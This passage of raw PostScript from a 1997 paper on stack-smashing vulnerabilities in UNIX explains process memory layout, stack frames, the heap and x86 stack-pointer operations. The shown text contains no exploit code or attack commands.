0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 1613 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2491 1613 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3174 1613 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3337 1613 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4109 1613 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4521 1613 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 1613 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5302 1613 M (containing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6046 1613 M (data, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6450 1613 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6567 1613 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 1613 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7106 1613 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7223 1613 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1337 M (structure for storing items which are to be accessed in last-in, first-out order\ [3].) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 13 13 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2158 9848 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 9848 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 9848 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 9848 M (loaded, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4139 9848 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4467 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4729 9848 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5037 9848 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5651 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 9848 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6323 9848 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6640 9848 M (memory, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1574 9572 M (area ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2139 9572 M (loaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2670 9572 M (second. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3304 9572 M (Finally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3905 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4626 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4825 9572 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5513 9572 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6423 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6806 9572 M (zero-filled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1803 9296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2207 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2832 9296 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3116 9296 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 9296 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3648 9296 M (sbrk) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3935 9296 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 9296 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4648 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4821 9296 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5189 9296 M (BSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5557 9296 M (distributions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 6388 9296 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6516 9296 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6930 9296 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 9296 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (grows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1652 9020 M (immediately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 9020 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2967 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3213 9020 M (BSS ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3553 9020 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3873 9020 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4471 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4625 9020 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 9020 M (heap. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5752 9020 M (Heap ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6146 9020 M (addresses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6828 9020 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 9020 M (grow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (up or down, depending on the CPU implementation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8468 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2012 8468 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2338 8468 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2728 8468 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3166 8468 M (contains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3768 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4019 8468 M (parameters ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4799 8468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4976 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5098 8468 M (function, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 8468 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5947 8468 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6318 8468 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7009 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1554 8192 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2275 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 8192 M (recover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3050 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3326 8192 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4387 8192 M (frame, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8192 M (including ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5592 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 8192 M (value ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6301 8192 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6513 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 8192 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1729 7916 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1901 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 7916 M (time ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2504 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2695 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2950 7916 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 7916 M (call[9]. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4127 7916 M (Above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4877 7916 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5207 7916 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 7916 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 7916 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6570 7916 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 7916 M (argument ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1930 7640 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2149 7640 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2515 7640 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 7640 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3655 7640 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4336 7640 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4620 7640 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 7640 M (passed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 7640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5701 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5984 7640 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6564 7640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6884 7640 M (stored ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1824 7364 M (\(argc, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2267 7364 M (argv, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2663 7364 M (env, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3003 7364 M (pointers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3597 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3895 7364 M (strings\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4537 7364 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 4854 7364 M (ps_strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5684 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5742 7364 M (structure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6383 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6552 7364 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6915 7364 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 7364 M (report ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (information ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2082 7088 M (about ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2542 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 7088 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3444 7088 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 7088 M (back ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4440 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4660 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4954 7088 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5323 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5654 7088 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5884 7088 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6603 7088 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7241 7088 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 6812 M (red_zone) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1864 6812 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 6812 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2074 6812 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2194 6812 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2805 6812 M (field, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 6812 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3456 6812 M (present ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3983 6812 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 6812 M (certain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4907 6812 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5573 6812 M (architectures, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6512 6812 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6863 6812 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7038 6812 M (protect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 6536 M (per-process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2292 6536 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2763 6536 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3202 6536 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3516 6536 M (red_zone) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4180 6536 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 6536 M (sits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4512 6536 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4687 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4945 6536 M (highest ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 6536 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6091 6536 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6688 6536 M (relative ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (specific running process.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5959 M (7.1 Intel x86 Implementation under the Linux Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5676 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2019 5676 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2410 5676 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2930 5676 M (register ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3479 5676 M (\(SP\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3826 5676 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3986 5676 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4340 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4518 5676 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5086 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5338 5676 M (top ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5599 5676 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5787 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6039 5676 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6430 5676 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6645 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6897 5676 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 5676 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1595 5400 M (family. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 5400 M (SP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 5400 M (holds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2831 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 5400 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3648 5400 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4104 5400 M (last ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4392 5400 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4726 5400 M (element ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5310 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5496 5400 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5710 5400 M (added ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6164 5400 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6350 5400 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 5400 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7074 5400 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5400 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5124 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1693 5124 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2007 5124 M (bottom ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2533 5124 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2727 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2985 5124 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3382 5124 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3548 5124 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3723 5124 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3852 5124 M (fixed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4249 5124 M (address. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4888 5124 M (Its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5110 5124 M (size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5424 5124 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5590 5124 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6467 5124 M (adjusted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5124 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1684 4848 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1858 4848 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2134 4848 M (time. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2526 4848 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2839 4848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3235 4848 M (consists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 4848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 4848 M (logical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 4848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4911 4848 M (frames ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 4848 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 4848 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5981 4848 M (pushed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6506 4848 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6920 4848 M (calling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1832 4572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2141 4572 M (popped ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2699 4572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3128 4572 M (returning. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 4572 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4219 4572 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 4572 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4911 4572 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5304 4572 M (implements ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 4572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6422 4572 M (PUSH) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6822 4572 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6891 4572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 7200 4572 M (POP) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 4572 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 4296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2249 4296 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2858 4296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3271 4296 M (operations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4119 4296 M (With ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4522 4296 M (each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4898 4296 M (successive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 5672 4296 M (PUSH) ST GR 0.0000 0.0000 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3192 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3079 3192 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 3192 M (present ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3984 3192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 3192 M (points ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4910 3192 M (to ) ST GR 0.0000 